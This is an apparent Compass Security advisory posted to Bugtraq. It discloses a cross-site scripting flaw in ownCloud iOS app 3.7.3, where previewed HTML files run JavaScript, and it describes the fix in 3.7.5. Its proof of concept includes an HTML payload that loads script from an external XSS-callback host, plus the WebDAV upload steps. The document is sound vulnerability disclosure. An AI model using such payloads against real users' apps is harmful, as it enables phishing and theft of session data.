CSNC-2018-016 - ownCloud iOS Application - Cross-Site Scripting

From: Advisories <advisories@compass-security.com>
To: bugtraq@securityfocus.com <bugtraq@securityfocus.com>,bugs@securitytracker.com <bugs@securitytracker.com>
Cc:
Subject: CSNC-2018-016 - ownCloud iOS Application - Cross-Site Scripting
Date:


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#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  ownCloud iOS Application (owncloud.iosapp) [1]
# Vendor:   ownCloud Gmbh
# CSNC ID:  CSNC-2018-016
# CVE ID:   N/A
# Subject:  Cross-Site Scripting in ownCloud iOS Application's WebViews
# Risk:     Low
# Effect:   Remotely exploitable
# Author:   Sylvain Heiniger <sylvain.heingier@compass-security.com>
# Date:     14.08.2018
#
#############################################################

Introduction:
-------------
HTML pages will be rendered in a WebView in the ownCloud iOS application.
JavaScript will be executed in this WebView when previewing an HTML file.

The webview is run in a sandbox, so no other data can be read a priori. However, in case the WebView iself were to have a vulnerability, an attacker could access other data of the application. The HTML rendering could also be misused for phishing.

Affected:
---------
Vulnerable:
 * ownCloud Version 3.7.3 for iOS

Not vulnerable:
 * ownCloud Android Application
 * ownCloud Server
 * ownCloud Version 3.7.5 for iOS


Technical Description
---------------------
Send an html file to an ownCloud instance, open it in the iOS application, HTML gets interpreted.

$  cat test.html
<html>
<script src="https://hes.xss.ht"></script>
<script>alert("this JavaScript is interpreted!");</script>
</html>
$dave -u admin -p [password] https://[your-instance].owncloud-demo.com/remote.php/webdav/
dave> put test.html
  put https://7pswlqfpkn.owncloud-demo.com/remote.php/webdav/test.html (117 bytes) (success)


Workaround / Fix:
-----------------
Since iOS 8 one can use the WKWebView class instead of using UIWebView. Setting the WKPreferences property javaScriptEnabled to false will prevent JavaScript to be run.
This fixed has been implemented in release 3.7.5 [2].


Timeline:
---------
2018-08-14: Advisory publication
2018-07-09: Fix verification
2018-06-19: Release with fix publication
2018-03-16: Initial acknowledgment of the vulnerability
2018-03-14: Contact via HackerOne
2018-03-13: Discovery by Sylvain Heiniger


References:
-----------
[1] https://github.com/owncloud/ios
[2] https://github.com/owncloud/ios/releases/tag/version_3.7.5





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